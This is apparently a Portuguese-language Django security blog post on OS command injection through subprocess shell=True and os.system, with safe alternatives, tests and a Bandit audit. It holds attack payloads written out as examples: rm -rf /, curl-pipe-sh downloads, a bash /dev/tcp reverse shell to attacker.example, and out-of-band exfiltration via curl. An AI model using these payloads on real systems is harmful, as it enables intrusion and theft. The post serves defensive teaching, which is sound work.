Injeção de Comandos OS: subprocess, os.system e os Perigos de Shell=True

Injeção de Comandos OS: subprocess, os.system e os Perigos de Shell=True

Django Security Series — Post 4 | Série I: Ataques de Injeção
OWASP A03:2021 — Injection | Tempo de leitura: ~14 min

O Post 1 abordou SQL Injection, o Post 2 abordou XSS, o Post 3 abordou SSTI. Cada um quebra a barreira entre dado e código em um interpretador diferente — o banco de dados, o DOM do navegador, o motor de templates. O Post 4 fecha o núcleo da tríade de RCE removendo a última camada de indireção: Injeção de Comandos OS, em que a entrada do usuário alcança o shell do sistema operacional diretamente, sem nada no meio.

Este post surgiu de uma dúvida concreta que tive sobre o Petição Brasil. A plataforma gera certificados PDF para cada assinatura de petição usando uma ferramenta externa. Isso significa que existe uma chamada subprocess em algum lugar — e eu precisava confirmar que não era vulnerável. Quando rodei a regra B602 do Bandit (subprocess_popen_with_shell_equals_true) contra o codebase, encontrei o que esperava — e também aprendi algo sobre por que o padrão seguro funciona no nível do OS que eu não tinha entendido completamente antes.

A razão pela qual desenvolvedores Django encontram esse ataque é banal: aplicações web invocam programas externos para trabalho legítimo o tempo todo. Redimensionar um avatar com ImageMagick, renderizar um PDF com wkhtmltopdf, extrair um arquivo, rodar git em um painel interno — cada uma dessas operações é uma chamada a um programa externo, e toda chamada externa que constrói seu comando a partir de entrada do usuário é um ponto de injeção em potencial. Diferente do SQL, em que o ORM do Django parametriza as queries para você, não há nenhuma camada do framework que parametrize um comando de shell. A proteção é inteiramente uma questão de como você invoca o subprocesso.

No centro deste post está um único argumento: shell=True. Quando você passa shell=True para subprocess.run() ou subprocess.Popen(), Python entrega sua string de comando para /bin/sh (ou cmd.exe no Windows), e esse shell interpreta cada metacaractere na string — incluindo qualquer um que um atacante tenha injetado. Com shell=False (o padrão), Python chama execve() diretamente, ignorando o shell por completo. A entrada do usuário se torna um único argumento em uma lista — nunca pode ser parseada como comando.


O Ataque: O Que É e Como Funciona

A injeção de comandos ocorre quando dados controlados pelo usuário são incluídos em uma string que é passada a um shell do sistema operacional, fazendo o shell interpretar parte dessa entrada como comando em vez de dado. A causa raiz é idêntica à do SQL Injection — confusão entre dado e código em uma fronteira de interpretador — mas o interpretador agora é o shell do OS (/bin/sh no Linux, cmd.exe no Windows) em vez de um motor de banco de dados. E enquanto um motor de banco de dados só consegue tocar o banco, o shell consegue tocar tudo o que o processo web alcança: o sistema de arquivos, a rede, variáveis de ambiente contendo segredos, e qualquer outro binário no host.

O mecanismo depende dos metacaracteres de shell — caracteres que um shell trata como sintaxe de controle em vez de texto literal. Quando entrada do usuário é concatenada em uma string de comando e entregue a um shell, qualquer metacaractere nessa entrada é interpretado pelo shell:

Metacaractere O que o shell faz com ele Exemplo
; Separador de comandos — executa o próximo comando incondicionalmente photo.jpg; rm -rf /
&& Executa o próximo comando apenas se o primeiro tiver sucesso photo.jpg && curl evil.sh \| sh
\|\| Executa o próximo comando apenas se o primeiro falhar nope \|\| cat /etc/passwd
\| Pipe — envia a saída de um comando para o próximo photo.jpg \| nc attacker 4444
$(...) Substituição de comando — executa o comando interno e insere sua saída $(whoami)
`...` Substituição de comando com crase (sintaxe antiga) `id`
> / >> Redireciona a saída para um arquivo (sobrescreve / anexa) x > /var/www/shell.php
& Executa o comando em segundo plano sleep 30 &
nova linha (\n) Atua como separador de comandos photo.jpg\nrm -rf /

No Windows os operadores diferem ligeiramente (&, &&, ||, |, e a expansão %VAR%), mas o princípio é idêntico: o shell analisa a string antes que qualquer programa rode.

os.system, subprocess e os.popen

Antes de ver o exploit, ajuda saber exatamente quais chamadas do Python entregam dados a um shell, porque é aí que a vulnerabilidade vive. O Python oferece várias formas de executar um programa externo, e a diferença de segurança entre elas se resume a uma única pergunta: há um shell envolvido e quem divide o comando em argumentos separados?

os.system(cmd) recebe uma string e a entrega ao shell do sistema (/bin/sh -c "<cmd>" no Linux, cmd.exe /c no Windows). É o shell — não o Python — que decide onde cada argumento começa e termina, e é exatamente isso que permite que o ; ou o | do atacante sejam lidos como sintaxe em vez de texto. os.popen(cmd) faz o mesmo e ainda devolve um objeto semelhante a um arquivo para ler a saída do comando. Nenhuma das duas funções tem um modo que dispense o shell — o shell está sempre no caminho —, então ambas devem ser tratadas como legado.

O subprocess é mais seguro porque pode executar um programa de duas formas bem diferentes:

Como você chama Shell envolvido? Quem analisa os argumentos
subprocess.run("convert " + f, shell=True) Sim — /bin/sh -c ... O shell — metacaracteres ativos
subprocess.run(["convert", f]) Não — shell=False (o padrão) O Python passa a lista direto ao SO

Quando você passa uma string com shell=True, o subprocess se comporta exatamente como o os.system: o shell analisa a string e todo metacaractere em f é perigoso. Quando você passa uma lista de argumentos com o padrão shell=False, não há shell algum — o Python chama diretamente a família exec do sistema operacional, e cada elemento da lista vira um argumento, literalmente. Um ; dentro de f é então apenas um caractere em um nome de arquivo, nunca um separador de comandos.

Esse segundo modo é toda a razão pela qual o caminho seguro sempre usa subprocess com uma lista de argumentos — e por que os.system e os.popen, que não têm esse modo, devem ser considerados legado. O exploit abaixo usa o primeiro modo, o perigoso.

Como os Atacantes Exploram

# INSEGURO — endpoint de conversão de imagem, filename vindo da query string
import subprocess
from django.http import HttpResponse

def convert_image(request):
    filename = request.GET.get('file', '')
    # A f-string coloca a entrada do atacante diretamente na linha de comando do shell.
    subprocess.run(f"convert {filename} /var/thumbs/output.jpg", shell=True)
    return HttpResponse("Converted")

Uma requisição cujo parâmetro file seja photo.jpg; id # monta a string convert photo.jpg; id # /var/thumbs/output.jpg. Como o payload cai no meio do template, o atacante o encerra com #, que inicia um comentário de shell e descarta o /var/thumbs/output.jpg fixo que a view anexa. O shell roda convert photo.jpg e depois id; se essa saída for refletida em qualquer lugar da resposta ou dos logs, o atacante lê uid=33(www-data) gid=33(www-data) e confirmou a execução de código sob o usuário do processo web. Sem o # no fim, /var/thumbs/output.jpg viraria um argumento do id — que daria erro em vez de imprimir o uid, neutralizando a sonda.

[MITRE] A técnica-pai é T1059 — Command and Scripting Interpreter. Em deployments Django no Linux/macOS a sub-técnica relevante é T1059.004 — Unix Shell; no Windows é T1059.003 — Windows Command Shell. Quando o comando injetado é usado para obter acesso inicial a um serviço voltado ao público, T1190 — Exploit Public-Facing Application também se aplica.

Exploração Passo a Passo

Percorrer o mesmo endpoint em um exploit completo mostra como um único parâmetro de query escala para uma posição dentro do host:

  1. Uma view Django recebe um parâmetro filename do usuário — por exemplo, o nome de uma imagem enviada para ser convertida.
  2. A view constrói um comando com uma f-string e o executa através de um shell, exatamente como no código acima: subprocess.run(f"convert {filename} output.jpg", shell=True).
  3. O atacante envia photo.jpg; cat /etc/passwd > /tmp/leak.txt # como nome do arquivo — o # no fim vai comentar o que o template anexar depois dele.
  4. A view interpola isso no meio do template, então o shell recebe convert photo.jpg; cat /etc/passwd > /tmp/leak.txt # output.jpg. Ele analisa o ; como separador — rodando convert photo.jpg, em seguida despejando o arquivo de senhas em um local legível por todos — enquanto o # descarta o output.jpg no fim.
  5. O atacante recupera o /tmp/leak.txt por outro endpoint — ou, mais comumente, dispensa o arquivo por completo e substitui por um payload de reverse shell que se conecta de volta a uma máquina que ele controla.

A mesma view é explorável para controle interativo completo, não apenas vazamento de arquivo. Um payload como photo.jpg; bash -i >& /dev/tcp/attacker.example/4444 0>&1 # monta um reverse shell (shell reverso) — em vez de o atacante se conectar ao servidor, é o servidor que disca de volta para o atacante, o que é exatamente o que permite driblar regras de firewall de entrada que bloqueiam conexões de chegada. Cada parte cumpre um papel:

  • photo.jpg; — o nome de arquivo inofensivo que a view espera; em seguida o ; encerra o comando convert pretendido e inicia um novo.
  • bash -i — inicia um shell Bash interativo (o modo interativo o mantém lendo comandos e exibindo prompts, como uma sessão de terminal faria).
  • /dev/tcp/attacker.example/4444 — não é um arquivo real, e sim um pseudo-dispositivo embutido do Bash: referenciar esse caminho faz o Bash abrir uma conexão TCP para o host do atacante na porta 4444, onde o atacante já está escutando (por exemplo, com nc -lvnp 4444).
  • >& — redireciona a saída padrão e a saída de erro do shell para essa conexão TCP, de modo que tudo o que o shell imprime viaja até o atacante.
  • 0>&1 — redireciona a entrada padrão (descritor de arquivo 0) para a mesma conexão, de modo que tudo o que o atacante digita é alimentado de volta ao shell como comandos.
  • # — inicia um comentário de shell que descarta o /var/thumbs/output.jpg fixo que a view anexa após o ponto de injeção, para que ele não interfira no comando do reverse shell.

Interligados, a entrada e a saída do shell ficam ambas ligadas ao socket do atacante, dando a ele um prompt interativo ao vivo no servidor. A partir daí, a aplicação web deixa de ser o alvo: o host é.

Injeção de Comandos Cega (Blind)

Quando a saída do comando injetado não é retornada em nenhum lugar da resposta HTTP — comum em manipuladores de upload e jobs em segundo plano — o atacante não consegue ler os resultados diretamente. Duas técnicas resolvem isso:

  • Detecção out-of-band (OOB). O payload faz o servidor alcançar um host controlado pelo atacante: photo.jpg; curl https://attacker.example/$(whoami) #. O atacante observa a consulta DNS ou requisição HTTP de entrada em um serviço colaborador (Burp Collaborator, uma instância interactsh auto-hospedada) — confirmando a execução e exfiltrando a saída do comando através do hostname.
  • Detecção baseada em tempo. Quando até conexões de rede de saída estão bloqueadas, o payload injeta um atraso: photo.jpg; sleep 5 #. Se a resposta levar cinco segundos a mais que a linha de base, o comando foi executado. Essa é a mesma técnica de inferência baseada em tempo usada no Blind SQL Injection (Post 1).

Incidente do Mundo Real: ImageTragick — CVE-2016-3714

Em maio de 2016, um conjunto de vulnerabilidades críticas no ImageMagick — o kit de processamento de imagens do qual uma fração enorme da web dependia para gerar miniaturas e converter formatos — foi divulgado sob o nome coletivo ImageTragick. O problema de destaque, CVE-2016-3714, era uma falha de injeção de comandos OS: o ImageMagick determinava como processar um arquivo em parte a partir de seu conteúdo, e vários de seus manipuladores "delegate" construíam comandos de shell a partir de valores embutidos na imagem. Um arquivo maliciosamente criado com uma URL https:// contendo metacaracteres de shell em seu nome ou campos fazia o ImageMagick executar comandos do atacante no servidor durante o que a aplicação julgava ser um redimensionamento inofensivo. A falha tinha pontuação CVSS de 8.4 (Alta), e exploits funcionais circularam publicamente em cerca de um dia após a divulgação.

A razão pela qual isso importa para desenvolvedores Django é que a vulnerabilidade não estava no código da aplicação web — estava em uma dependência que as aplicações chamavam. Qualquer aplicação Django, Rails, PHP ou Node com um endpoint de upload que passasse imagens do usuário ao ImageMagick (diretamente, ou indiretamente via wkhtmltopdf e ferramentas similares) estava exposta, e muitas foram comprometidas. MITRE ATT&CK T1190 (Exploit Public-Facing Application) mapeia o acesso inicial. A lição é precisa: toda chamada a um processo externo é uma superfície de injeção, tanto pelos argumentos que você passa quanto pelo que o binário invocado faz com eles. Usar shell=False com uma lista de argumentos validada não teria, por si só, fechado essa CVE específica — o bug vivia dentro do ImageMagick — mas a disciplina que esse hábito impõe (saber exatamente o que você entrega a cada binário externo, validar uploads, e preferir uma biblioteca nativa em Python a um shell-out) é a mesma disciplina que contém o dano. A remediação amplamente adotada foi um policy.xml de hardening que desabilitava os delegates vulneráveis, além de mover o trabalho de imagens para bibliotecas mais seguras.

Fonte: ImageTragick — CVE-2016-3714 e vulnerabilidades relacionadas


Proteções Padrão do Django

O Django não oferece nenhuma proteção automática contra injeção de comandos. Esse é o ajuste mental crítico depois dos Posts 1–3. O ORM parametriza SQL, o motor de templates faz auto-escape de HTML, e a DTL se recusa a avaliar expressões — mas nada no Django parametriza ou sanitiza um comando de shell, porque invocar o shell não é uma responsabilidade do framework. No momento em que seu código chama subprocess, os.system ou os.popen, você saiu da superfície protetora do Django e passa a ser o único responsável pela segurança dessa chamada.

A documentação do subprocess do próprio Python alerta explicitamente contra shell=True com entrada não confiável, mas isso é orientação — e o checklist de deploy do Django sequer menciona subprocess, o que só reforça o ponto: não existe uma configuração do Django que o bloqueie. Os controles de nível Django que de fato ajudam são controles de acesso que limitam quem pode alcançar as views que invocam o shell: @login_required, @permission_required e @staff_member_required reduzem a população de usuários que podem sequer tentar uma injeção. Eles são uma valiosa defesa em profundidade — uma ferramenta de diagnóstico interna atrás de @staff_member_required tem uma superfície de ataque muito menor que um endpoint público — mas não são uma correção. Um usuário autenticado, uma conta comprometida, ou um atacante que alcance a view por uma falha separada ainda injeta em um comando não sanitizado. O controle de acesso estreita a porta; não tranca a vulnerabilidade.


Padrão Vulnerável: O Que NÃO Fazer

Padrão 1 — Comando com f-string e shell=True

O caso clássico: construir uma linha de comando interpolando entrada do usuário e executá-la através de um shell.

# INSEGURO — f-string com entrada do usuário e shell=True
import subprocess
from django.http import HttpResponse

def make_thumbnail(request):
    filename = request.GET.get('file', '')
    subprocess.run(f"convert {filename} -resize 200x200 thumb.jpg", shell=True)
    return HttpResponse("Thumbnail created")

Payload de ataque: file=x.jpg; curl https://attacker.example/s.sh | sh — baixa e executa um script arbitrário. A flag shell=True faz o /bin/sh analisar a string inteira, então o ; e o | são respeitados como operadores de shell.

Padrão 2 — Concatenação de String com os.system

os.system sempre usa um shell; não há modo seguro. Concatenar entrada do usuário nele é incondicionalmente perigoso.

# INSEGURO — concatenação direta passada para os.system
import os
from django.http import HttpResponse

def ping_host(request):
    host = request.POST.get('host', '')
    os.system("ping -c 1 " + host)   # os.system sempre invoca /bin/sh
    return HttpResponse("Pinged")

Payload de ataque: host=8.8.8.8; cat /etc/passwd — roda o ping e depois lê o arquivo de senhas. Uma funcionalidade de diagnóstico de rede como esta é extremamente comum em ferramentas administrativas internas, e é um dos sinks de injeção de comandos mais frequentemente explorados em aplicações reais.

Padrão 3 — Ferramenta Interna Onde a Entrada "Vem de Código Confiável"

A variante mais insidiosa: um valor que parece confiável porque não é digitado diretamente por um usuário anônimo, mas que na verdade é influenciável pelo atacante.

# INSEGURO — username parece "interno" mas é controlado pelo atacante no cadastro
import subprocess

def audit_user_commits(username):
    # username veio do banco de dados, então parece seguro — mas o usuário o escolheu
    result = subprocess.Popen(
        "git log --author=" + username,
        shell=True,
        stdout=subprocess.PIPE,
    )
    return result.communicate()[0]

O erro é tratar shell=True como uma conveniência cujo risco só vem de entrada obviamente externa. Aqui o username foi escolhido pelo usuário no cadastro. Um atacante que registra uma conta chamada x; curl attacker.example | sh planta um payload de injeção de comandos que dispara sempre que um admin roda essa ferramenta de auditoria interna: a string de comando vira git log --author=x; curl attacker.example | sh, que o shell interpreta como dois comandos. Ferramentas internas com shell=True são exatamente tão perigosas quanto as públicas no momento em que qualquer conta ou fonte de dados a montante é influenciável pelo atacante.


Implementação Segura: O Jeito Django

Regra 1 — Sempre Use shell=False com uma Lista de Argumentos

Este é o controle mais importante. Quando você passa uma lista de argumentos e deixa o shell=True de fora (o padrão), nenhum shell é envolvido — o Python invoca o binário-alvo diretamente via a família exec do sistema operacional (sem nenhum shell no meio), e cada elemento da lista é passado como um argumento literal. Os metacaracteres de shell perdem todo o significado porque não há shell para interpretá-los.

# SEGURO — lista de argumentos, sem shell; metacaracteres são inertes
import subprocess
from django.http import HttpResponse

def make_thumbnail(request):
    filename = request.GET.get('file', '')
    # filename é passado literalmente como um único argumento para o `convert`.
    # Se filename for "x.jpg; rm -rf /", o convert simplesmente não encontra um
    # arquivo chamado literalmente "x.jpg; rm -rf /" — nada é executado como comando.
    subprocess.run(
        ["convert", filename, "-resize", "200x200", "thumb.jpg"],
        shell=False,        # o padrão, declarado aqui por clareza
        timeout=30,
    )
    return HttpResponse("Thumbnail created")

Com a forma de lista de argumentos, x.jpg; rm -rf / é entregue ao convert como uma única string de nome de arquivo. Não há análise de ;, não há segundo comando — o pior caso é o convert reportar um arquivo inexistente.

Regra 2 — Valide a Entrada Antes de Ela Chegar ao Subprocesso

shell=False impede a interpretação do shell, mas um valor ainda pode ser um argumento malicioso (por exemplo, um nome de arquivo começando com - que o binário-alvo lê como uma opção, ou um caminho que escapa do diretório pretendido). Valide antes de chamar:

# SEGURO — valide o caminho e a extensão antes de invocar o shell
import subprocess
import pathlib
from django.http import HttpResponse, HttpResponseBadRequest

UPLOAD_DIR = pathlib.Path("/srv/app/uploads").resolve()
ALLOWED_SUFFIXES = {".jpg", ".jpeg", ".png"}

def make_thumbnail(request):
    raw = request.GET.get('file', '')
    candidate = (UPLOAD_DIR / raw).resolve()

    # 1. Confine o caminho resolvido ao diretório de upload (bloqueia travessia ../).
    if not candidate.is_relative_to(UPLOAD_DIR):
        return HttpResponseBadRequest("Invalid path")
    # 2. Allowlist da extensão.
    if candidate.suffix.lower() not in ALLOWED_SUFFIXES:
        return HttpResponseBadRequest("Unsupported file type")
    # 3. O arquivo precisa realmente existir.
    if not candidate.is_file():
        return HttpResponseBadRequest("File not found")

    subprocess.run(["convert", str(candidate), "thumb.jpg"], timeout=30)
    return HttpResponse("Thumbnail created")

O tipo real do arquivo deve ser confirmado por inspeção de conteúdo (python-magic) em vez de apenas pela extensão — isso é abordado em profundidade no post de upload de arquivos mais adiante na série (→ Post 27). O separador -- (convert -- filename) também vale a pena adicionar onde um binário o suporta, para impedir que um nome de arquivo iniciado com hífen seja lido como flag.

Regra 3 — Prefira uma Biblioteca Nativa em Python a Invocar o Shell

A correção mais robusta é remover a chamada ao shell por completo. A maioria das tarefas comuns de shell-out tem uma biblioteca Python madura que roda em processo, sem binário externo e sem linha de comando para injetar.

# SEGURO — Pillow redimensiona em processo; sem subprocess, sem shell, sem superfície de injeção
from PIL import Image
from django.http import HttpResponse

def make_thumbnail(request):
    filename = request.GET.get('file', '')
    # (a validação de caminho da Regra 2 ainda se aplica aqui)
    with Image.open(filename) as img:
        img.thumbnail((200, 200))
        img.save("thumb.jpg")
    return HttpResponse("Thumbnail created")

Substitua shell-outs do ImageMagick por Pillow, o wkhtmltopdf por WeasyPrint ou ReportLab, chamadas ao CLI do git por GitPython ou pygit2, e a extração de arquivos pelos módulos zipfile/tarfile da biblioteca padrão (validando os caminhos dos membros para evitar a variante zip-slip da travessia de caminho). Se não houver biblioteca e você precisar invocar o shell, as Regras 1 e 2 são obrigatórias.

Regra 4 — Defina um Timeout em Toda Chamada de Subprocesso

Um argumento timeout limita quanto tempo o processo filho pode rodar, o que contém tanto payloads de negação de serviço do tipo sleep injetado quanto binários externos que travam em entradas malformadas.

# SEGURO — um timeout evita exaustão de recursos por um comando travado ou injetado
import subprocess

try:
    subprocess.run(["convert", filename, "thumb.jpg"], timeout=30, check=True)
except subprocess.TimeoutExpired:
    # Logue e falhe fechando — não deixe a requisição pendurada
    ...

A regra invariante: se uma biblioteca Python pode fazer o trabalho, use a biblioteca. Se você precisa invocar o shell, shell=False com uma lista de argumentos não é opcional — é o mínimo.

Checklist de Prevenção de Injeção de Comandos

Controle O que cobre
shell=False com uma lista de argumentos O principal vetor de injeção de comandos — sem shell, os metacaracteres na entrada do usuário ficam inertes
Validação de entrada (pathlib, allowlist de extensão, checagem de MIME) Argumentos maliciosos que sobrevivem ao shell=False — travessia de caminho, injeção de opção via - inicial, tipos de arquivo errados
Biblioteca nativa em Python em vez de invocar o shell Elimina a linha de comando externa por completo — sem subprocess, sem superfície de injeção
timeout= em toda chamada de subprocesso Negação de serviço por payloads sleep/travamento injetados e binários que estagnam em entradas ruins
Controle de acesso nas views que invocam o shell (@permission_required) Reduz a população que pode alcançar a view — defesa em profundidade, não uma correção
bandit no CI (sinaliza B602 / shell=True) Impede que novos pontos de chamada com shell=True cheguem à produção

Testando Sua Defesa

Testes Unitários

# blog/tests.py
from django.test import TestCase

class CommandInjectionTests(TestCase):
    # Os payloads abaixo terminam com `#` para que o comando injetado rode de
    # forma limpa mesmo que a view anexe um argumento fixo após o filename. A
    # asserção do separador só falha se a view *refletir* a saída do comando;
    # contra uma view vulnerável mas não-refletora ("blind") — manipuladores de
    # upload, jobs em segundo plano — confie nos testes baseados em tempo, que
    # detectam a execução independentemente de a saída ser exibida.

    def test_separator_payload_does_not_execute(self):
        """Um separador de shell não deve iniciar um segundo comando. Assume que
        a view reflete a saída: uma view vulnerável emitiria a linha `uid=` do `id`."""
        response = self.client.get('/convert/', {'file': 'x.jpg; id #'})
        self.assertNotIn(b'uid=', response.content)

    def test_separator_is_time_safe(self):
        """Blind-safe: um `sleep 5` injetado não deve atrasar a resposta."""
        import time
        start = time.monotonic()
        self.client.get('/convert/', {'file': 'x.jpg; sleep 5 #'})
        self.assertLess(time.monotonic() - start, 2.0)

    def test_command_substitution_is_time_safe(self):
        """Blind-safe: `$(...)` deve ser tratado como nome de arquivo literal, não
        avaliado. Se o shell rodasse a substituição, o `sleep 5` injetado atrasaria
        a resposta. (Uma sonda `$(whoami)` é pouco confiável aqui — o usuário web
        não é `root`, então uma checagem ingênua passa mesmo se ela executar.)"""
        import time
        start = time.monotonic()
        self.client.get('/convert/', {'file': '$(sleep 5)'})
        self.assertLess(time.monotonic() - start, 2.0)

Verificação Manual

# Sonda baseada em tempo — se a resposta levar ~5s a mais, o shell rodou `sleep`.
# `+` é um espaço codificado e `%23` é `#`, que comenta o sufixo fixo que a view
# anexa após o filename.
time curl "https://staging.example.com/convert/?file=x.jpg;sleep+5+%23"

# Sonda de separador (só visível se a view refletir a saída) — procure `uid=`.
curl "https://staging.example.com/convert/?file=x.jpg;id+%23"

Análise Estática no CI

Bandit é a ferramenta SAST padrão para Python e sinaliza shell=True como a regra B602 (e o uso de os.system/os.popen sob regras relacionadas). Adicione-a ao pipeline para que nenhum novo ponto de chamada vulnerável seja mesclado:

pip install bandit
# Falha o build se qualquer chamada de subprocess usar shell=True
bandit -r blog/ blogtech/

# Um grep rápido é um bom backstop de pre-commit
grep -rn "shell=True" blog/ blogtech/

O Que Encontrei nos Meus Projetos

Rodei o Bandit com os testes B602 (subprocess com shell=True), B603 (subprocess sem shell mas com entrada não confiável) e B605 (start process with a shell) contra o Petição Brasil:

$ bandit -t B602,B603,B605 -r apps/ config/ -x "*/migrations/*,*/tests/*" --format txt
[main]  INFO    profile include tests: B602, B603, B605
[main]  INFO    running on Python 3.13.3

Run started:2026-05-10 09:41:22.184712+00:00

Test results:
        No issues identified.

Code scanned:
        Total lines of code: 13,736
        Total lines skipped (#nosec): 0

Run metrics:
        Total issues (by severity):
                Undefined: 0
                Low: 0
                Medium: 0
                High: 0
Files skipped (0):

Zero achados. O Petição Brasil não chama os.system nem os.popen em nenhum lugar do código da aplicação. Usa subprocess.run em um único lugar — pdf_utils.py — para invocar o Ghostscript na conversão de PDFs para o formato PDF/A de arquivamento. Os argumentos do comando são construídos a partir de caminhos internos confiáveis (não entrada do usuário), roda com capture_output=True e timeout de 60 segundos, e faz fallback gracioso para o PDF original em caso de falha. A renderização HTML-para-PDF usa WeasyPrint (Python puro). A validação de certificados ICP-Brasil usa cryptography e pyOpenSSL — sem shell envolvido.

A tentação aqui teria sido chamar openssl via subprocess para validar certificados — é o que muitos tutoriais sugerem. Eu escolhi as bibliotecas Python justamente para evitar essa superfície de ataque. A única chamada subprocess.run que existe segue o padrão seguro exatamente: lista explícita de argumentos (sem shell=True), apenas caminhos confiáveis, timeout, e fallback gracioso.


O Post 4 completa o núcleo da injeção. SQL Injection invade o banco de dados, SSTI invade o motor de templates e depois o host, e a injeção de comandos alcança o shell do OS sem nenhuma camada no meio — o caminho mais direto para RCE da série. A lição que tirei: trate cada chamada a subprocess, os.system e os.popen da mesma forma que cursor.execute(raw_sql) e Template(user_input) — um achado que precisa ser justificado, com shell=True em entrada não confiável sendo motivo para bloquear o deploy.

O Post 5 permanece na família da injeção, mas muda para o último interpretador da série: o parser de XML. Ataques XXE (XML External Entity) abusam de um parser deixado em seus padrões inseguros para ler arquivos locais do servidor, alcançar serviços de rede internos, ou — com algumas linhas de entidades recursivas “billion laughs” — exaurir de vez a memória do host. É a injeção que os desenvolvedores Django mais subestimam, justamente porque parsear XML parece passivo.

Leitura Complementar

Próximo na série → Post 5: XXE e Ataques XML Bomb: Por Que Pensar Duas Vezes Antes de Parsear XML em Python

← Voltar para todos os posts